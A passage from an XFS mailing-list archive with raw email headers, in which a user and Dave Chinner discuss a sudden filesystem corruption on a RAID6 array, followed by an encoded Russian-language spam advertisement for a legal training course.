EjBQQ0PQ8oQtmTdBI6b6KrInk5BpYSofq/enkNtoY9IqX0ygIkXuQ0U75GTgn01PQ6xZ gpow== X-Received: by 10.60.62.8 with SMTP id u8mr9045640oer.54.1386215178308; Wed, 04 Dec 2013 19:46:18 -0800 (PST) Received: from 46-9-129-173.pools.spcsdns.net (173-129-9-46.pools.spcsdns.net. [173.129.9.46]) by mx.google.com with ESMTPSA id jz7sm113218639oeb.4.2013.12.04.19.46.16 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 04 Dec 2013 19:46:17 -0800 (PST) User-Agent: K-9 Mail for Android In-Reply-To: <20131205034034.GI8803@dastard> References: <20131205034034.GI8803@dastard> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----IFIWK4ZGAGQYSQXY2J8DDWDA2Y6P2A" Subject: Re: Sudden File System Corruption From: Mike Dacre X-ASG-Orig-Subj: Re: Sudden File System Corruption Date: Wed, 04 Dec 2013 19:46:06 -0800 To: Dave Chinner CC: xfs@oss.sgi.com Message-ID: <1423a84e-a9e3-4053-bb7c-fdf2d53eeefc@email.android.com> X-Barracuda-Connect: mail-oa0-f54.google.com[209.85.219.54] X-Barracuda-Start-Time: 1386215178 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142850 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message ------IFIWK4ZGAGQYSQXY2J8DDWDA2Y6P2A Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi Dave, My apologies, I completely miscommunicated. The drive dying was unrelated, it happened two months ago. I mentioned it only as background info, but I realize now that was stupid. There were no drive or RAID problems at all at the time the XFS mount died today. The drives are all fine and the RAID log shows nothing significant. Thanks, Mike -------- Original Message -------- From: Dave Chinner Sent: Wed Dec 04 19:40:34 PST 2013 To: Mike Dacre Cc: xfs@oss.sgi.com Subject: Re: Sudden File System Corruption On Wed, Dec 04, 2013 at 06:55:05PM -0800, Mike Dacre wrote: > Hi Folks, > > Apologies if this is the wrong place to post or if this has been answered > already. > > I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an XFS > filesystem and has been online for over a year. It is accessed by 23 > different machines connected via Infiniband over NFS v3. I haven't had any > major problems yet, one drive failed but it was easily replaced. > > However, today the drive suddenly stopped responding and started returning > IO errors when any requests were made. This happened while it was being > accessed by 5 different users, one was doing a very large rm operation (rm > *sh on thousands on files in a directory). Also, about 30 minutes before > we had connected the globus connect endpoint to allow easy file transfers > to SDSC. So, you had a drive die and at roughly the same time XFS started reporting corruption problems and shut down? Chances are that the drive returned garbage to XFS before died completely and that's what XFS detected and shut down on. If you are unlucky in this situation, the corruption can get propagated into the log by changes that are adjacent to the corrupted region, and then you have problems with log recovery failing because the corruption gets replayed.... > I have attached the complete log from the time it died until now. > > In the end, I successfully repaired the filesystem with `xfs_repair -L > /dev/sda1`. However, I am nervous that some files may have been corrupted. > > Do any of you have any idea what could have caused this problem? When corruption appears at roughly the same time a drive dies, it's almost always caused by the drive that failed. RAID doesn't repvent disks from returning crap to the OS because nobody configures the arrays to do read-verify cycles that would catch such a condition. Cheers, Dave. -- Dave Chinner david@fromorbit.com ------IFIWK4ZGAGQYSQXY2J8DDWDA2Y6P2A Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 8bit Hi Dave,

My apologies, I completely miscommunicated. The drive dying was unrelated, it happened two months ago. I mentioned it only as background info, but I realize now that was stupid. There were no drive or RAID problems at all at the time the XFS mount died today. The drives are all fine and the RAID log shows nothing significant.

Thanks,

Mike


From: Dave Chinner <david@fromorbit.com>
Sent: Wed Dec 04 19:40:34 PST 2013
To: Mike Dacre <mike.dacre@gmail.com>
Cc: xfs@oss.sgi.com
Subject: Re: Sudden File System Corruption

On Wed, Dec 04, 2013 at 06:55:05PM -0800, Mike Dacre wrote:
Hi Folks,

Apologies if this is the wrong place to post or if this has been answered
already.

I have a 16 2TB drive RAID6 array powered by an LSI 9240-4i. It has an XFS
filesystem and has been online for over a year. It is accessed by 23
different machines connected via Infiniband over NFS v3. I haven't had any
major problems yet, one drive failed but it was easily replaced.

However, today the drive suddenly stopped responding and started returning
IO errors when any requests were made. This happened while it was being
accessed by 5 different users, one was doing a very large rm operation (rm
*sh on thousands on files in a directory). Also, about 30 minutes before
we had connected the globus connect endpoint to allow easy file transfers
to SDSC.

So, you had a drive die and at roughly the same time XFS started
reporting corruption problems and shut down? Chances are that the
drive returned garbage to XFS before died completely and that's what
XFS detected and shut down on. If you are unlucky in this situation,
the corruption can get propagated into the log by changes that are
adjacent to the corrupted region, and then you have problems with log
recovery failing because the corruption gets replayed....

I have attached the complete log from the time it died until now.

In the end, I successfully repaired the filesystem with `xfs_repair -L
/dev/sda1`. However, I am nervous that some files may have been corrupted.

Do any of you have any idea what cou ld have caused this problem?

When corruption appears at roughly the same time a drive dies, it's
almost always caused by the drive that failed. RAID doesn't repvent
disks from returning crap to the OS because nobody configures the
arrays to do read-verify cycles that would catch such a condition.

Cheers,

Dave.
------IFIWK4ZGAGQYSQXY2J8DDWDA2Y6P2A-- From david@fromorbit.com Wed Dec 4 21:59:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E340E7F3F for ; Wed, 4 Dec 2013 21:59:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CE84030408E for ; Wed, 4 Dec 2013 19:59:44 -0800 (PST) X-ASG-Debug-ID: 1386215982-04cb6c537c51e610001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id kC95irBXQ4FX0ULH for ; Wed, 04 Dec 2013 19:59:42 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgGALv5n1J5LHyk/2dsb2JhbABZgwe0KIVPgRkXdIIlAQEFOhwjEAgDGAklDwUlAyETiAHBVRaOaAeEMwOYE5IUgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 05 Dec 2013 14:29:41 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VoQ6F-0005uW-28; Thu, 05 Dec 2013 14:59:39 +1100 Date: Thu, 5 Dec 2013 14:59:39 +1100 From: Dave Chinner To: Mike Dacre Cc: xfs@oss.sgi.com Subject: Re: Sudden File System Corruption Message-ID: <20131205035938.GJ8803@dastard> X-ASG-Orig-Subj: Re: Sudden File System Corruption References: <20131205034034.GI8803@dastard> <1423a84e-a9e3-4053-bb7c-fdf2d53eeefc@email.android.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1423a84e-a9e3-4053-bb7c-fdf2d53eeefc@email.android.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386215982 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142851 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Dec 04, 2013 at 07:46:06PM -0800, Mike Dacre wrote: > Hi Dave, > > My apologies, I completely miscommunicated. The drive dying was > unrelated, it happened two months ago. I mentioned it only as > background info, but I realize now that was stupid. There were no > drive or RAID problems at all at the time the XFS mount died > today. The drives are all fine and the RAID log shows nothing > significant. Still could be significant. Do you run periodic media scrubs on that raid array? And if it's not significant, then there's nothing that I can sugest that woul dhave caused the problem. For all we know about the state of the system at the time the problem occurred, it could have been caused by a cosmic ray flipping a bit somewhere in the IO path. i.e. trying to diagnose a failure like this without any other errors showing and no corrupt filesystem image we can examine is no better than trying to guess where the needle is in a haystack... Cheers, Dave. -- Dave Chinner david@fromorbit.com From info@velodom-kolomna.ru Thu Dec 5 00:19:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A1CC17F3F for ; Thu, 5 Dec 2013 00:19:19 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 530863040B2 for ; Wed, 4 Dec 2013 22:19:18 -0800 (PST) X-ASG-Debug-ID: 1386224351-04bdf01321237f0001-NocioJ Received: from v35386.vps.mcdir.ru (v35386.vps.mcdir.ru [178.208.76.49]) by cuda.sgi.com with ESMTP id SYkZlDh2Wx2ftl99 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 04 Dec 2013 22:19:13 -0800 (PST) X-Barracuda-Envelope-From: info@velodom-kolomna.ru X-Barracuda-Apparent-Source-IP: 178.208.76.49 Received: from [180.254.162.134] (helo=Unknown) by v35386.vps.mcdir.ru with esmtpa (Exim 4.63) (envelope-from ) id 1VoSHA-0000lQ-Af; Thu, 05 Dec 2013 09:19:08 +0300 Message-ID: <0CEBC1AA29274BFAA66A8E0F2C7AD68C@tyodytp> Reply-To: =?windows-1251?B?x+Ds5fHy6PLl6/wg4+Xt5fDg6/zt7uPuIOTo?= =?windows-1251?B?8OXq8u7w4A==?= From: =?windows-1251?B?x+Ds5fHy6PLl6/wg4+Xt5fDg6/zt7uPuIOTo?= =?windows-1251?B?8OXq8u7w4A==?= To: , , , Subject: =?windows-1251?B?3vDo8e/w8+Tl7fbo/yCWIPHo6+Ah?= Date: Thu, 5 Dec 2013 07:19:18 +0100 X-ASG-Orig-Subj: =?windows-1251?B?3vDo8e/w8+Tl7fbo/yCWIPHo6+Ah?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0B5D_01CEF18A.4F7B8900" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 Sender: info@velodom-kolomna.ru X-Barracuda-Connect: v35386.vps.mcdir.ru[178.208.76.49] X-Barracuda-Start-Time: 1386224352 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142853 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0B5D_01CEF18A.4F7B8900 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0B5E_01CEF18A.4F7B8900" ------=_NextPart_001_0B5E_01CEF18A.4F7B8900 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E9 =EE=F2=E4=E5=EB =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =ED=E0 =CA=D3=D0=D1 =EF=EE=E2=FB=F8=E5=ED=E8= =FF =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 =F1 =C0=D2=D2=C5=D1=D2=C0=D2=CE=CC= =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0 =EF= =EE =F2=E5=EC=E5: =C7=C0=D9=C8=D2=C0 =CF=D0=C0=C2 =CA=D0=C5=C4=C8=D2=CE=D0=C0. =DD=D4=D4=C5= =CA=D2=C8=C2=CD=C0=DF =C4=CE=C3=CE=C2=CE=D0=CD=C0=DF, =CF=D0=C5=D2=C5=CD=C7= =C8=CE=CD=CD=C0=DF =C8 =C8=D1=CA=CE=C2=C0=DF =D0=C0=C1=CE=D2=C0. =CF=CE=C4= =C3=CE=D2=CE=C2=CA=C0 =CA =D3=D7=C0=D1=D2=C8=DE =C2 =C0=D0=C1=C8=D2=D0=C0= =C6=CD=CE=CC =CF=D0=CE=D6=C5=D1=D1=C5 =CA=F3=F0=F1 =EF=F0=EE=E9=E4=E5=F2 16-17.l2.20l3 =E3., =E2 =D1=E0=ED=EA=F2= -=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5 =C4=EB=FF =EF=EE=EB=F3=F7=E5=ED=E8=FF =E4=E5=F2=E0=EB=FC=ED=EE=E9 =E8=ED=F4= =EE=F0=EC=E0=F6=E8=E8 =E7=E2=EE=ED=E8=F2=E5 =EF=EE =F2=E5=EB=E5=F4=EE=ED=F3= :=20 =CA=D0=C0=D2=CA=C0=DF =CF=D0=CE=C3=D0=C0=CC=CC=C0: __________________________________ * =CE=F1=ED=EE=E2=ED=FB=E5 =EF=F0=E0=E2=E8=EB=E0 =EE=F4=EE=F0=EC=EB=E5=ED= =E8=FF =E4=EE=E3=EE=E2=EE=F0=EE=E2. * =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =EF=F0=E8=EC= =E5=ED=E5=ED=E8=FF =EF=F0=EE=F2=EE=EA=EE=EB=EE=E2 =F0=E0=E7=ED=EE=E3=EB=E0= =F1=E8=FF. * =D2=E5=F5=ED=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E5 =E0=F1=EF=E5=EA=F2=FB =EF= =F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=FF =EC=EE=F8=E5=ED=ED=E8=F7=E5=F1= =EA=E8=EC =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5=F1= =F2=ED=FB=F5 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2. * =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE= =F1=FB =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2= . * =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E5 =E2=EE= =EF=F0=EE=F1=FB =EF=F0=E5=EA=F0=E0=F9=E5=ED=E8=FF =E4=EE=E3=EE=E2=EE=F0=ED= =FB=F5 =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2. * =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2= =EE=EF=F0=EE=F1=FB =F0=E0=E1=EE=F2=FB =F1 =E4=E5=E1=E8=F2=EE=F0=E0=EC=E8 = =ED=E0 =E4=EE=F1=F3=E4=E5=E1=ED=EE=E9 =F1=F2=E0=E4=E8=E8 =E8 =EE=F0=E3=E0= =ED=E8=E7=E0=F6=E8=E8 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E9 =EF=F0=E5=F2=E5=ED= =E7=E8=EE=ED=ED=EE=E9 =F0=E0=E1=EE=F2=FB. * =D0=E0=E1=EE=F2=E0 =EF=EE =E2=FB=FF=E2=EB=E5=ED=E8=FE =ED=E0=F0=F3=F8=E5= =ED=E8=E9 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =F3=F1=EB=EE=E2=E8=E9. * =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =EF=F0=EE=E1=EB=E5=EC=FB =EE=F2=EF= =F0=E0=E2=EB=E5=ED=E8=FF =E8 =E4=EE=F1=F2=E0=E2=EA=E8 =EF=F0=E5=F2=E5=ED=E7= =E8=E9. * =CE=EF=F0=E5=E4=E5=EB=E5=ED=E8=E5 =F1=EE=E4=E5=F0=E6=E0=ED=E8=FF =EF=F0= =E5=F2=E5=ED=E7=E8=E9. * =CF=F0=E8=EE=F1=F2=E0=ED=EE=E2=EB=E5=ED=E8=E5 =E2=F1=F2=F0=E5=F7=ED=EE=E3= =EE =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF. * =D1=E1=EE=F0 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8 =EE =F4=E8=ED=E0=ED=F1=EE=E2= =EE=EC =F1=EE=F1=F2=EE=FF=ED=E8=E8 =E4=EE=EB=E6=ED=E8=EA=E0 =E8 =EE=EF=F0= =E5=E4=E5=EB=E5=ED=E8=E5 =EF=E5=F0=F1=EF=E5=EA=F2=E8=E2 =F4=E0=EA=F2=E8=F7= =E5=F1=EA=EE=E3=EE =E2=E7=FB=F1=EA=E0=ED=E8=FF. * =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E7=FB=F1=EA=E0=ED=E8=FF =ED=E5=F3= =F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6=E5=ED=F2=EE=E2 =E3=EE=E4=EE=E2=FB=F5 = . * =CF=F0=E8=F1=F3=E6=E4=E5=ED=E8=E5 =EA =E8=F1=EF=EE=EB=ED=E5=ED=E8=FE =E2= =ED=E0=F2=F3=F0=E5 =EA=E0=EA =F1=EF=EE=F1=EE=E1 =E7=E0=F9=E8=F2=FB =EF=F0= =E0=E2 =EA=F0=E5=E4=E8=F2=EE=F0=E0. * =C2=E7=FB=F1=EA=E0=ED=E8=E5 =F3=E1=FB=F2=EA=EE=E2 =E7=E0 =ED=E0=F0=F3=F8= =E5=ED=E8=E5. * =D0=E0=F1=F2=EE=F0=E6=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=E0 =EA=E0=EA =EC= =E5=F5=E0=ED=E8=E7=EC =E7=E0=F9=E8=F2=FB =EF=F0=E0=E2 =EA=F0=E5=E4=E8=F2=EE= =F0=E0. * =CF=EE=F0=FF=E4=EE=EA =EF=EE=E4=E3=EE=F2=EE=E2=EA=E8 =E8=F1=EA=EE=E2=FB= =F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2 =E8 =F1=F2=F0=E0=F2=E5=E3=E8=FF =E2=E5= =E4=E5=ED=E8=FF =E4=E5=EB=E0 =E2 =F1=F3=E4=E5=E1=ED=FB=F5 =EE=F0=E3=E0=ED= =E0=F5. * =CF=EE=F1=EB=E5=E4=ED=FF=FF =F1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8= =EA=E0 =EF=EE =E2=EE=EF=F0=EE=F1=E0=EC =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E8= =F1=EA=EE=E2=EE=E9 =E4=E0=E2=ED=EE=F1=F2=E8. __________________________________ =CF=EE =EE=EA=EE=ED=F7=E0=ED=E8=E8 =EA=F3=F0=F1=E0 =E2=FB=E4=E0=E5=F2=F1=FF= =E4=EE=EA=F3=EC=E5=ED=F2 =EE =EA=F0=E0=F2=EA=EE=F1=F0=EE=F7=ED=EE=EC =EF= =EE=E2=FB=F8=E5=ED=E8=E8 =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 =E3=EE=F1=F3= =E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0 (=ED=EE=EC=E5=F0= =EB=E8=F6=E5=ED=E7=E8=E8 =EC=EE=E6=ED=EE =F3=E7=ED=E0=F2=FC =EF=EE =F2=E5= =EB=E5=F4=EE=ED=F3 =EE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0) =D2=E5=EB=E5=F4=EE=ED =CE=F0=E3=EA=EE=EC=E8=F2=E5=F2=E0: (=F1=EC. =E2 =EF= =F0=E8=EA=F0=E5=EF=EB=E5=ED=ED=EE=EC =F4=E0=E9=EB=E5) ------=_NextPart_001_0B5E_01CEF18A.4F7B8900 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C2 =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E9 =EE=F2=E4=E5=EB
=CF=F0=E8=E3= =EB=E0=F8=E0=E5=EC =ED=E0 =CA=D3=D0=D1 =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2= =E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 =F1=20 =C0=D2=D2=C5=D1=D2=C0=D2=CE=CC =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE= =E3=EE =EE=E1=F0=E0=E7=F6=E0 =EF=EE =F2=E5=EC=E5:
 
=C7=C0=D9=C8=D2=C0 =CF=D0=C0=C2 =CA=D0=C5=C4=C8=D2=CE=D0=C0. =DD=D4=D4= =C5=CA=D2=C8=C2=CD=C0=DF =C4=CE=C3=CE=C2=CE=D0=CD=C0=DF, =CF=D0=C5=D2=C5=CD= =C7=C8=CE=CD=CD=C0=DF =C8 =C8=D1=CA=CE=C2=C0=DF=20 =D0=C0=C1=CE=D2=C0. =CF=CE=C4=C3=CE=D2=CE=C2=CA=C0 =CA =D3=D7=C0=D1=D2=C8= =DE =C2 =C0=D0=C1=C8=D2=D0=C0=C6=CD=CE=CC =CF=D0=CE=D6=C5=D1=D1=C5
 
=CA=F3=F0=F1 =EF=F0=EE=E9=E4=E5=F2=20 16-17.l2.20l3=20 =E3., =E2 =D1=E0=ED=EA=F2-=CF=E5=F2=E5=F0=E1=F3=F0=E3=E5
=C4=EB=FF =EF=EE=EB=F3=F7=E5=ED=E8=FF =E4=E5=F2=E0=EB=FC=ED=EE=E9 =E8= =ED=F4=EE=F0=EC=E0=F6=E8=E8 =E7=E2=EE=ED=E8=F2=E5 =EF=EE =F2=E5=EB=E5=F4=EE= =ED=F3:
=CA=D0=C0=D2=CA=C0=DF =CF=D0=CE=C3=D0=C0=CC=CC=C0:
______________= ____________________
 
* =CE=F1=ED=EE=E2=ED=FB=E5 =EF=F0=E0=E2=E8=EB=E0 =EE=F4=EE=F0=EC= =EB=E5=ED=E8=FF =E4=EE=E3=EE=E2=EE=F0=EE=E2.
* =CF=F0=E0=EA=F2=E8= =F7=E5=F1=EA=E8=E5=20 =E2=EE=EF=F0=EE=F1=FB =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =EF=F0=EE=F2=EE=EA=EE= =EB=EE=E2 =F0=E0=E7=ED=EE=E3=EB=E0=F1=E8=FF.
* =D2=E5=F5=ED=EE=EB= =EE=E3=E8=F7=E5=F1=EA=E8=E5 =E0=F1=EF=E5=EA=F2=FB=20 =EF=F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=FF =EC=EE=F8=E5=ED=ED=E8=F7=E5= =F1=EA=E8=EC =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5= =F1=F2=ED=FB=F5=20 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2.
* =C0=EA=F2=F3=E0=EB=FC=ED=FB= =E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E8=F1=EF=EE=EB=ED=E5=ED= =E8=FF=20 =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2.
* =C0=EA=F2=F3=E0=EB=FC=ED=FB= =E5 =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =EF=F0=E5=EA=F0= =E0=F9=E5=ED=E8=FF =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5=20 =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2.
* =C0=EA=F2=F3=E0=EB=FC=ED=FB= =E5 =EF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =F0=E0=E1=EE= =F2=FB =F1 =E4=E5=E1=E8=F2=EE=F0=E0=EC=E8 =ED=E0=20 =E4=EE=F1=F3=E4=E5=E1=ED=EE=E9 =F1=F2=E0=E4=E8=E8 =E8 =EE=F0=E3=E0=ED=E8=E7= =E0=F6=E8=E8 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E9 =EF=F0=E5=F2=E5=ED=E7=E8=EE= =ED=ED=EE=E9=20 =F0=E0=E1=EE=F2=FB.
* =D0=E0=E1=EE=F2=E0 =EF=EE =E2=FB=FF=E2=EB=E5= =ED=E8=FE =ED=E0=F0=F3=F8=E5=ED=E8=E9 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5=20 =F3=F1=EB=EE=E2=E8=E9.
* =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =EF= =F0=EE=E1=EB=E5=EC=FB =EE=F2=EF=F0=E0=E2=EB=E5=ED=E8=FF =E8 =E4=EE=F1=F2=E0= =E2=EA=E8=20 =EF=F0=E5=F2=E5=ED=E7=E8=E9.
* =CE=EF=F0=E5=E4=E5=EB=E5=ED=E8=E5 = =F1=EE=E4=E5=F0=E6=E0=ED=E8=FF =EF=F0=E5=F2=E5=ED=E7=E8=E9.
* =CF= =F0=E8=EE=F1=F2=E0=ED=EE=E2=EB=E5=ED=E8=E5=20 =E2=F1=F2=F0=E5=F7=ED=EE=E3=EE =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF.
* = =D1=E1=EE=F0 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8 =EE =F4=E8=ED=E0=ED=F1=EE=E2=EE= =EC =F1=EE=F1=F2=EE=FF=ED=E8=E8 =E4=EE=EB=E6=ED=E8=EA=E0=20 =E8 =EE=EF=F0=E5=E4=E5=EB=E5=ED=E8=E5 =EF=E5=F0=F1=EF=E5=EA=F2=E8=E2 =F4=E0= =EA=F2=E8=F7=E5=F1=EA=EE=E3=EE =E2=E7=FB=F1=EA=E0=ED=E8=FF.
* =CE= =F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E7=FB=F1=EA=E0=ED=E8=FF=20 =ED=E5=F3=F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6=E5=ED=F2=EE=E2 =E3=EE=E4=EE=E2= =FB=F5 .
* =CF=F0=E8=F1=F3=E6=E4=E5=ED=E8=E5 =EA =E8=F1=EF=EE=EB=ED= =E5=ED=E8=FE =E2 =ED=E0=F2=F3=F0=E5 =EA=E0=EA=20 =F1=EF=EE=F1=EE=E1 =E7=E0=F9=E8=F2=FB =EF=F0=E0=E2 =EA=F0=E5=E4=E8=F2=EE=F0= =E0.
* =C2=E7=FB=F1=EA=E0=ED=E8=E5 =F3=E1=FB=F2=EA=EE=E2 =E7=E0=20 =ED=E0=F0=F3=F8=E5=ED=E8=E5.
* =D0=E0=F1=F2=EE=F0=E6=E5=ED=E8=E5 = =E4=EE=E3=EE=E2=EE=F0=E0 =EA=E0=EA =EC=E5=F5=E0=ED=E8=E7=EC =E7=E0=F9=E8=F2= =FB =EF=F0=E0=E2=20 =EA=F0=E5=E4=E8=F2=EE=F0=E0.
* =CF=EE=F0=FF=E4=EE=EA =EF=EE=E4=E3= =EE=F2=EE=E2=EA=E8 =E8=F1=EA=EE=E2=FB=F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2 =E8= =F1=F2=F0=E0=F2=E5=E3=E8=FF =E2=E5=E4=E5=ED=E8=FF=20 =E4=E5=EB=E0 =E2 =F1=F3=E4=E5=E1=ED=FB=F5 =EE=F0=E3=E0=ED=E0=F5.
*&nbs= p;=CF=EE=F1=EB=E5=E4=ED=FF=FF =F1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8= =EA=E0 =EF=EE =E2=EE=EF=F0=EE=F1=E0=EC=20 =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E8=F1=EA=EE=E2=EE=E9 =E4=E0=E2=ED=EE=F1=F2= =E8.
__________________________________
 
